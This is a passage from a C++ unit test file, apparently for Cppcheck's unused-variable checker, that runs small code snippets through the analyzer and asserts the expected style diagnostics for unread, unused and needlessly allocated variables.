ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Variable 'a' is assigned a value that is never used. [unreadVariable]\\n\"\n \"[test.cpp:5:7]: (style) Variable 'a' is assigned a value that is never used. [unreadVariable]\\n\", errout_str());\n\n functionVariableUsage(\"void foo() {\\n\"\n \" int a = 1;\\n\"\n \" (b).x += a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"void foo() {\\n\"\n \" int a=1, b[10];\\n\"\n \" b[0] = x;\\n\"\n \" a += b[0];\\n\"\n \" return a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"void f(int *start, int *stop) {\\n\"\n \" int length = *start - *stop;\\n\"\n \" if (length < 10000)\\n\"\n \" length = 10000;\\n\"\n \" *stop -= length;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"void f(int a) {\\n\"\n \" int x = 3;\\n\"\n \" a &= ~x;\\n\"\n \" return a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // extracttests.disable\n functionVariableUsage(\"void f() {\\n\" // unknown class => library configuration is needed\n \" Fred fred;\\n\"\n \" int *a; a = b;\\n\"\n \" fred += a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:8]: (information) --check-library: Provide configuration for Fred [checkLibraryCheckType]\\n\", errout_str());\n // extracttests.enable\n\n functionVariableUsage(\"void f(std::pair x) {\\n\"\n \" std::pair fred;\\n\" // class with library configuration\n \" fred = x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8]: (style) Variable 'fred' is assigned a value that is never used. [unreadVariable]\\n\", errout_str());\n }\n\n void localvarFor() {\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" int a = 1;\\n\"\n \" for (;a;);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"void foo() {\\n\"\n \" for (int i = 0; (pci = cdi_list_get(pciDevices, i)); i++)\\n\"\n \" {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvarForEach() { // #4155 - foreach\n functionVariableUsage(\"void foo() {\\n\"\n \" int i = -1;\\n\"\n \" int a[] = {1,2,3};\\n\"\n \" FOREACH_X (int x, a) {\\n\"\n \" if (i==x) return x;\\n\"\n \" i = x;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5154 - MSVC 'for each'\n functionVariableUsage(\"void f() {\\n\"\n \" std::map ints;\\n\"\n \" ints[0]= 1;\\n\"\n \" for each(std::pair i in ints) { x += i.first; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvarShift1() {\n functionVariableUsage(\"int foo()\\n\"\n \"{\\n\"\n \" int var = 1;\\n\"\n \" return 1 >> var;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvarShift3() { // #3509\n functionVariableUsage(\"int foo()\\n\"\n \"{\\n\"\n \" QList ints;\\n\"\n \" ints << 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"int foo() {\\n\" // #4320\n \" int x;\\n\"\n \" x << 1;\\n\"\n \" return x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvarCast() {\n functionVariableUsage(\"int foo()\\n\"\n \"{\\n\"\n \" int a = 1;\\n\"\n \" int b = static_cast(a);\\n\"\n \" return b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvarClass() {\n functionVariableUsage(\"int foo()\\n\"\n \"{\\n\"\n \" class B : public A {\\n\"\n \" int a;\\n\"\n \" int f() { return a; }\\n\"\n \" } b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvarUnused() {\n functionVariableUsage(\"int foo()\\n\"\n \"{\\n\"\n \" bool test __attribute__((unused));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"int foo()\\n\"\n \"{\\n\"\n \" bool test __attribute__((unused)) = true;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"int foo()\\n\"\n \"{\\n\"\n \" bool __attribute__((unused)) test;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"int foo()\\n\"\n \"{\\n\"\n \" bool __attribute__((unused)) test = true;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"int foo()\\n\"\n \"{\\n\"\n \" bool test __attribute__((used));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"int foo()\\n\"\n \"{\\n\"\n \" bool __attribute__((used)) test;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"int foo()\\n\"\n \"{\\n\"\n \" char a[1] __attribute__((unused));\\n\"\n \" char b[1][2] __attribute__((unused));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvarFunction() {\n functionVariableUsage(\"void check_dlsym(void*& h)\\n\"\n \"{\\n\"\n \" typedef void (*function_type) (void);\\n\"\n \" function_type fn;\\n\"\n \" fn = reinterpret_cast(dlsym(h, \\\"try_allocation\\\"));\\n\"\n \" fn();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvarstatic() {\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" static int i;\\n\"\n \" static const int ci;\\n\"\n \" static std::string s;\\n\"\n \" static const std::string cs;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:16]: (style) Unused variable: i [unusedVariable]\\n\"\n \"[test.cpp:4:22]: (style) Unused variable: ci [unusedVariable]\\n\"\n \"[test.cpp:5:24]: (style) Unused variable: s [unusedVariable]\\n\"\n \"[test.cpp:6:30]: (style) Unused variable: cs [unusedVariable]\\n\",\n errout_str());\n\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" static int i = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:16]: (style) Variable 'i' is assigned a value that is never used. [unreadVariable]\\n\",\n errout_str());\n\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" static int i(0);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Variable 'i' is assigned a value that is never used. [unreadVariable]\\n\",\n \"\",\n errout_str());\n\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" static int j = 0;\\n\"\n \" static int i(j);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:4:10]: (style) Variable 'i' is assigned a value that is never used. [unreadVariable]\\n\",\n \"\",\n errout_str());\n\n functionVariableUsage(\"int * foo(int x)\\n\"\n \"{\\n\"\n \" static int a[] = { 3, 4, 5, 6 };\\n\"\n \" static int b[] = { 4, 5, 6, 7 };\\n\"\n \" static int c[] = { 5, 6, 7, 8 };\\n\"\n \" b[1] = 1;\\n\"\n \" return x ? a : c;\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:6:16]: (style) Variable 'b' is assigned a value that is never used. [unreadVariable]\\n\",\n \"\",\n errout_str());\n\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" static int i = 0;\\n\"\n \" if(i < foo())\\n\"\n \" i += 5;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"void foo() {\\n\"\n \" static int x = 0;\\n\"\n \" print(x);\\n\"\n \" if(x > 5)\\n\"\n \" x = 0;\\n\"\n \" else\\n\"\n \" x++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"void foo(int value) {\\n\"\n \" static int array[16] = {0};\\n\"\n \" if(array[value]) {}\\n\"\n \" array[value] = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"int fun() {\\n\" // #11310\n \" static int k;\\n\"\n \" k++;\\n\"\n \" return k;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"int& f() {\\n\" // #12935\n \" static int i;\\n\"\n \" return i;\\n\"\n \"}\\n\"\n \"int* g() {\\n\"\n \" static int j;\\n\"\n \" return &j;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvarextern() {\n functionVariableUsage(\"void foo() {\\n\"\n \" extern int i;\\n\"\n \" i = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvardynamic1() {\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" void* ptr = malloc(16);\\n\"\n \" free(ptr);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) Variable 'ptr' is allocated memory that is never used. [unusedAllocatedMemory]\\n\", errout_str());\n\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" char* ptr = new char[16];\\n\"\n \" delete[] ptr;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Variable 'ptr' is allocated memory that is never used. [unusedAllocatedMemory]\\n\", errout_str());\n\n // extracttests.disable\n\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" char* ptr = new ( nothrow ) char[16];\\n\"\n \" delete[] ptr;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Variable 'ptr' is allocated memory that is never used. [unusedAllocatedMemory]\\n\", errout_str());\n\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" char* ptr = new ( std::nothrow ) char[16];\\n\"\n \" delete[] ptr;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Variable 'ptr' is allocated memory that is never used. [unusedAllocatedMemory]\\n\", errout_str());\n\n // extracttests.enable\n\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" char* ptr = new char;\\n\"\n \" delete ptr;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Variable 'ptr' is allocated memory that is never used. [unusedAllocatedMemory]\\n\", errout_str());\n\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" void* ptr = malloc(16);\\n\"\n \" ptr[0] = 123;\\n\"\n \" free(ptr);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" char* ptr = new char[16];\\n\"\n \" ptr[0] = 123;\\n\"\n \" delete[] ptr;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" Fred* fred = new Fred;\\n\"\n \" std::cout << \\\"test\\\" << std::endl;\\n\"\n \" delete fred;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"struct Fred { int a; };\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Fred* fred = new Fred;\\n\"\n \" std::cout << \\\"test\\\" << std::endl;\\n\"\n \" delete fred;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Variable 'fred' is allocated memory that is never used. [unusedAllocatedMemory]\\n\", errout_str());\n\n functionVariableUsage(\"struct Fred { int a; Fred() : a(0) {} };\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Fred* fred = new Fred;\\n\"\n \" std::cout << \\\"test\\\" << std::endl;\\n\"\n \" delete fred;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Variable 'fred' is allocated memory that is never used. [unusedAllocatedMemory]\\n\", errout_str());\n\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" Fred* fred = malloc(sizeof(Fred));\\n\"\n \" std::cout << \\\"test\\\" << std::endl;\\n\"\n \" free(fred);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:18]: (style) Variable 'fred' is allocated memory that is never used. [unusedAllocatedMemory]\\n\", errout_str());\n\n\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" char* ptr = names[i];\\n\"\n \" delete[] ptr;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvardynamic2() {\n functionVariableUsage(\"struct Fred { int i; };\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Fred* ptr = (Fred*)malloc(sizeof(Fred));\\n\"\n \" free(ptr);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:31]: (style) Variable 'ptr' is allocated memory that is never used. [unusedAllocatedMemory]\\n\", errout_str());\n\n functionVariableUsage(\"struct Fred { int i; };\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Fred* ptr = (Fred*)malloc(sizeof(Fred));\\n\"\n \" ptr->i = 0;\\n\"\n \" free(ptr);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"struct Fred { int i; };\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" struct Fred* ptr = (Fred*)malloc(sizeof(Fred));\\n\"\n \" free(ptr);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:38]: (style) Variable 'ptr' is allocated memory that is never used. [unusedAllocatedMemory]\\n\", errout_str());\n\n functionVariableUsage(\"struct Fred { int i; };\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" struct Fred* ptr = (Fred*)malloc(sizeof(Fred));\\n\"\n \" ptr->i = 0;\\n\"\n \" free(ptr);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"struct Fred { int i; };\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Fred* ptr = new Fred();\\n\"\n \" delete ptr;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Variable 'ptr' is allocated memory that is never used. [unusedAllocatedMemory]\\n\", errout_str());\n\n // extracttests.disable\n\n functionVariableUsage(\"struct Fred { int i; };\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Fred* ptr = new (nothrow ) Fred();\\n\"\n \" delete ptr;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Variable 'ptr' is allocated memory that is never used. [unusedAllocatedMemory]\\n\", errout_str());\n\n functionVariableUsage(\"struct Fred { int i; };\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Fred* ptr = new (std::nothrow) Fred();\\n\"\n \" delete ptr;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Variable 'ptr' is allocated memory that is never used. [unusedAllocatedMemory]\\n\", errout_str());\n\n // extracttests.enable\n\n functionVariableUsage(\"struct Fred { int i; };\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Fred* ptr = new Fred();\\n\"\n \" ptr->i = 0;\\n\"\n \" delete ptr;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"struct Fred { int i; };\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" struct Fred* ptr = new Fred();\\n\"\n \" delete ptr;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:18]: (style) Variable 'ptr' is allocated memory that is never used. [unusedAllocatedMemory]\\n\", errout_str());\n\n functionVariableUsage(\"struct Fred { int i; };\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" struct Fred* ptr = new Fred();\\n\"\n \" ptr->i = 0;\\n\"\n \" free(ptr);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"class Fred { public: int i; };\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Fred* ptr = (Fred*)malloc(sizeof(Fred));\\n\"\n \" free(ptr);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:31]: (style) Variable 'ptr' is allocated memory that is never used. [unusedAllocatedMemory]\\n\", errout_str());\n\n functionVariableUsage(\"class Fred { public: int i; };\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Fred* ptr = (Fred*)malloc(sizeof(Fred));\\n\"\n \" ptr->i = 0;\\n\"\n \" free(ptr);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"class Fred { public: int i; };\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Fred* ptr = new Fred();\\n\"\n \" delete ptr;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Variable 'ptr' is allocated memory that is never used. [unusedAllocatedMemory]\\n\", errout_str());\n\n functionVariableUsage(\"class Fred { public: int i; };\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Fred* ptr = new Fred();\\n\"\n \" ptr->i = 0;\\n\"\n \" delete ptr;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvardynamic3() {\n // Ticket #3467 - False positive that 'data' is not assigned a value\n functionVariableUsage(\"void foo() {\\n\"\n \" int* data = new int[100];\\n\"\n \" int* p = data;\\n\"\n \" for ( int i = 0; i < 10; ++i )\\n\"\n \" p++;\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:5]: (style) Variable 'p' is modified but its new value is never used.\\n\",\n \"\",\n errout_str());\n }\n\n void localvararray1() {\n functionVariableUsage(\"void foo() {\\n\"\n \" int p[5];\\n\"\n \" *p = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvararray2() {\n functionVariableUsage(\"int foo() {\\n\"\n \" int p[5][5];\\n\"\n \" p[0][0] = 0;\\n\"\n \" return p[0][0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvararray3() {\n functionVariableUsage(\"int foo() {\\n\"\n \" int p[5][5];\\n\"\n \" *((int*)p[0]) = 0;\\n\"\n \" return p[0][0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvararray4() {\n functionVariableUsage(\"void foo() {\\n\"\n \" int p[1];\\n\"\n \" int *pp[0];\\n\"\n \" p[0] = 1;\\n\"\n \" *pp[0] = p[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvararray5() {\n functionVariableUsage(\"int foo() {\\n\"\n \" int p[5][5];\\n\"\n \" dostuff(*p);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"int foo() {\\n\"\n \" int p[5];\\n\"\n \" dostuff(*p);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"int foo() {\\n\"\n \" int p[5][5][5];\\n\"\n \" dostuff(**p);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"void f() {\\n\" // #11872\n \" char v[1][2];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style) Unused variable: v [unusedVariable]\\n\", errout_str());\n }\n\n void localvararray6() {\n functionVariableUsage(\"struct S { int* p; };\\n\" // #11012\n \"void g(struct S* ps);\\n\"\n \"void f() {\\n\"\n \" int i[2];\\n\"\n \" struct S s = { i };\\n\"\n \" g(&s);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvarstring1() { // ticket #1597\n functionVariableUsage(\"void foo() {\\n\"\n \" std::string s;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) Unused variable: s [unusedVariable]\\n\", errout_str());\n\n functionVariableUsage(\"void foo() {\\n\"\n \" std::string s;\\n\"\n \" s = \\\"foo\\\";\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: (style) Variable 's' is assigned a value that is never used. [unreadVariable]\\n\", errout_str());\n\n functionVariableUsage(\"void foo() {\\n\"\n \" std::string s = \\\"foo\\\";\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:19]: (style) Variable 's' is assigned a value that is never used. [unreadVariable]\\n\"\n \"[test.cpp:2:17]: (style) Variable 's' is assigned a value that is never used. [unreadVariable]\\n\", // duplicate\n errout_str());\n\n functionVariableUsage(\"void foo() {\\n\" // #8901\n \" const std::string s = \\\"foo\\\";\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:25]: (style) Variable 's' is assigned a value that is never used. [unreadVariable]\\n\"\n \"[test.cpp:2:23]: (style) Variable 's' is assigned a value that is never used. [unreadVariable]\\n\", // duplicate\n errout_str());\n\n functionVariableUsage(\"std::string foo() {\\n\"\n \" std::string s;\\n\" // Class instances are initialized. Assignment is not necessary\n \" return s;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"std::string foo() {\\n\"\n \" std::string s = \\\"foo\\\";\\n\"\n \" return s;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"void f() {\\n\"\n \" std::string s(\\\"foo\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (style) Variable 's' is assigned a value that is never used. [unreadVariable]\\n\", errout_str());\n\n functionVariableUsage(\"void f() {\\n\"\n \" std::string s{ \\\"foo\\\" };\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (style) Variable 's' is assigned a value that is never used. [unreadVariable]\\n\", errout_str());\n }\n\n void localvarstring2() { // ticket #2929\n functionVariableUsage(\"void foo() {\\n\"\n \" std::string s;\\n\"\n \" int i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) Unused variable: s [unusedVariable]\\n\"\n \"[test.cpp:3:9]: (style) Unused variable: i [unusedVariable]\\n\", errout_str());\n }\n\n void localvarconst1() {\n functionVariableUsage(\"void foo() {\\n\"\n \" const bool b = true;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:18]: (style) Variable 'b' is assigned a value that is never used. [unreadVariable]\\n\"\n \"[test.cpp:2:16]: (style) Variable 'b' is assigned a value that is never used. [unreadVariable]\\n\", // duplicate\n errout_str());\n }\n\n void localvarconst2() {\n functionVariableUsage(\"void foo() {\\n\"\n \" const int N = 10;\\n\"\n \" struct X { int x[N]; };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvarreturn() { // ticket #9167\n functionVariableUsage(\"void foo() {\\n\"\n \" const int MyInt = 1;\\n\"\n \" class bar {\\n\"\n \" public:\\n\"\n \" bool operator()(const int &uIndexA, const int &uIndexB) const {\\n\"\n \" return true;\\n\"\n \" }\\n\"\n \" bar() {}\\n\"\n \" };\\n\"\n \" return MyInt;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvarmaybeunused() {\n functionVariableUsage(\"int main() {\\n\"\n \" [[maybe_unused]] int x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"[[nodiscard]] int getX() { return 4; }\\n\"\n \"int main() {\\n\"\n \" [[maybe_unused]] int x = getX();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"[[nodiscard]] int getX() { return 4; }\\n\"\n \"int main() {\\n\"\n \" [[maybe_unused]] int x = getX();\\n\"\n \" x = getX();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"[[nodiscard]] int getX() { return 4; }\\n\"\n \"int main() {\\n\"\n \" [[maybe_unused]] int x = getX();\\n\"\n \" x = getX();\\n\"\n \" std::cout << x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"int main() {\\n\"\n \" [[maybe_unused]] const int x = getX();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"int main() {\\n\"\n \" [[maybe_unused]] const int& x = getX();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"int main() {\\n\"\n \" [[maybe_unused]] const int* x = getX();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"int main() {\\n\"\n \" [[maybe_unused]] int& x = getX();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"int main() {\\n\"\n \" [[maybe_unused]] int* x = getX();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"int main() {\\n\"\n \" [[maybe_unused]] auto x = getX();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"int main() {\\n\"\n \" [[maybe_unused]] auto&& x = getX();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"int main() {\\n\"\n \" [[maybe_unused]] int x[] = getX();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"int main() {\\n\"\n \" [[maybe_unused]] constexpr volatile static int x = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"[[maybe_unused]] inline int x = 1;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"int main() {\\n\"\n \" [[maybe_unused]] [[anotherattribute]] const int* = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"int main() {\\n\"\n \" [[maybe_unused]] char a[1];\\n\"\n \" [[maybe_unused]] char b[1][2];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvarrvalue() { // ticket #13977\n functionVariableUsage(\"void f(void) {\\n\"\n \" std::string s;\\n\"\n \" std::string&& m = std::move(s);\\n\"\n \" cb();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:21]: (style) Variable 'm' is assigned a value that is never used. [unreadVariable]\\n\", errout_str());\n }\n\n void localvarthrow() { // ticket #3687\n functionVariableUsage(\"void foo() {\\n\"\n \" try {}\"\n \" catch(Foo& bar) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localVarStd() {\n // extracttests.start: struct MyClass {int x;}; std::string foo();\n\n functionVariableUsage(\"void f() {\\n\"\n \" std::string x = foo();\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:19]: (style) Variable 'x' is assigned a value that is never used. [unreadVariable]\\n\"\n \"[test.cpp:2:17]: (style) Variable 'x' is assigned a value that is never used. [unreadVariable]\\n\", // duplicate\n errout_str());\n\n functionVariableUsage(\"void f() {\\n\"\n \" std::vector x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (style) Unused variable: x [unusedVariable]\\n\", errout_str());\n\n functionVariableUsage(\"void f() {\\n\"\n \" std::vector x(100);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:23]: (style) Variable 'x' is assigned a value that is never used. [unreadVariable]\\n\", errout_str());\n\n functionVariableUsage(\"void f() {\\n\"\n \" std::vector x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:26]: (style) Unused variable: x [unusedVariable]\\n\", errout_str());\n\n functionVariableUsage(\"void f() {\\n\"\n \" std::lock_guard lock(mutex_);\\n\" // Has a side-effect #4385\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"void f() {\\n\"\n \" pLocker = std::shared_ptr(new jfxLocker(m_lock, true));\\n\" // Could have side-effects (#4355)\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"void f() {\\n\"\n \" std::mutex m;\\n\"\n \" std::unique_lock lock(m);\\n\" // #4624\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"void f() {\\n\" // #7732\n \" const std::pair p(\\\"a\\\", \\\"b\\\");\\n\"\n \" std::pair q{\\\"a\\\", \\\"b\\\" };\\n\"\n \" auto r = std::pair(\\\"a\\\", \\\"b\\\");\\n\"\n \" auto s = std::pair{ \\\"a\\\", \\\"b\\\" };\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\"[test.cpp:2]: (style) Variable 'p' is assigned a value that is never used. [unreadVariable]\\n\"\n \"[test.cpp:2:48]: (style) Variable 'p' is assigned a value that is never used. [unreadVariable]\\n\"\n \"[test.cpp:4]: (style) Variable 'r' is assigned a value that is never used. [unreadVariable]\\n\"\n \"[test.cpp:5:18]: (style) Variable 's' is assigned a value that is never used. [unreadVariable]\\n\",\n \"[test.cpp:2:48]: (style) Variable 'p' is assigned a value that is never used. [unreadVariable]\\n\"\n \"[test.cpp:3:42]: (style) Variable 'q' is assigned a value that is never used. [unreadVariable]\\n\",\n errout_str());\n\n functionVariableUsage(\"void f(std::span s) {\\n\" // #11545\n \" s[0] = 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"struct S {\\n\"\n \" std::mutex m;\\n\"\n \" void f();\\n\"\n \"};\\n\"\n \"void S::f() {\\n\"\n \" const ::std::lock_guard g(m);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"void f(const std::string& str, int i) {\\n\" // #11879\n \" const std::string s = str;\\n\"\n \" switch (i) {\\n\"\n \" default:\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\\n\");\n 